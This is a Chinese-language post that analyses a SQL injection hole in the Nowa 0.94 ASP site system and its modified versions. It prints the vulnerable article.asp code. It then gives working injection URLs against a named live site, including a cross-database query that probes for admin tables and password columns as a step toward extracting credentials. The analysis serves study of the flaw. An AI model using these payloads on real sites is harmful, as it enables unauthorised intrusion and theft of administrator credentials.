首先聲明,這個漏洞不是我發現的,我只是作了一次的分析,不足之處請不吝指教。
這個站點在當初被認為是比較安全的全站系統,事實上現在也是。(后來的補丁里出現了上傳漏洞,不在討論之列。)因此這個系統被改編為很多版本:
Nowa 0.94版本(原版)
形象中國整站(修改版本)
藍雨整站(修改版本)
落日整站(修改版本)
流星整站(修改版本)---------------------------------------------(感謝hak_ban提供)
我的站http://www.918x.com就是這個系統的,還有很多的站點用到這個系統(包括小路的666w.com,嘿嘿)。
我們先來看漏洞文件的原代碼:
<%sub article_body()
dim totalart,Currentpage,totalpages,i,j,colname
openarticle
sql="select art_id,cat_id,art_title,art_date,art_count from art order by art_date DESC"
if request("cat_id")<>"" then
sql="select art_id,cat_id,art_title,art_date,art_count from art where cat_id="&request("cat_id")&" order by art_date DESC"
elseif request("keyword")<>"" then
sql="select art_id,cat_id,art_title,art_date,art_count from art where "&request("select")&" like %"&request("keyword")&"%order by art_date DESC"
elseif request("cat_id")<>"" and request("keyword")<>"" then
sql="select art_id,cat_id,art_title,art_date,art_count from art where art_title or art_content like %"&request("keyword")&"%order by art_date DESC"
end if
set rs=server.createobject("adodb.recordset")
rs.open sql,conn,1,1
%>
關鍵這句:sql="select art_id,cat_id,art_title,art_date,art_count from art where "&request("select")&" like %"&request("keyword")&"%order by art_date DESC"
我們從另一個文件FORMAT.asp里發現文件對request的keyword變量進行了過濾,卻沒有對request的select進行有 效檢查。
所以當我們提交(%20是空格)
_title&keyword=1%20and%201=1" target=_blank>http://www.918x.com/article.asp?select=art_title&keyword=1%20and%201=1
是不成功的,但是提交:
_blank>http://www.918x.com/article.asp? keyword=1&select=art_title%20and%201=1
_blank>http://www.918x.com/article.asp? keyword=1&select=art_title%20and%201=2
就能成功的達到注入的目的。
整個文章系統有兩處搜索,除了article.asp還有download.asp,于是看了看代碼,卻沒有發現&request("select"),而是直接把soft_name等放在查詢中,看起來好象這兩個查詢不是同一個人寫的。
再來說說利用。我們知道,這個整站有5個數據庫,密碼保存在admin.mdb里(默認情況下)。
而上述注入只是征對article.mdb的。我們最多能夠暴出article.mdb表里的數據。
那能不能跨庫查詢呢?
首先我必須知道保存admin的數據庫的名字,假設為admin.asp,我們還需要知道數據庫的物理路徑,假設為d:\web\data\ 然后如下查詢:
_blank>http://www.918x.com/article.asp? keyword=1&select=art_title%20and %200<>(select%20count(*)%20from%20d:\web\data\admin.asp.admin%20where%20admin_name)
_blank>http://www.918x.com/article.asp? keyword=1&select=art_title%20and %200<>(select%20count(*)%20from%20d:\web\data\admin.asp.admin%20where%20admin_password)
返回成功,則說明有admin表和admin_name,admin_password列。
接下來便可以注入,暴出用戶名和密碼來。我就不多說了,大家都會的。
這種情況適用于
1.知道數據庫的物理路徑
2.數據庫不在可訪問的web目錄里,在上級目錄,或者其他地方,或者數據庫作了防下載處理(否則我們可以直接下載admin數據庫,又何必注入那么麻煩呢。)
總的來說利用的價值不大,何況20040415的補丁使得密碼還是md5加密的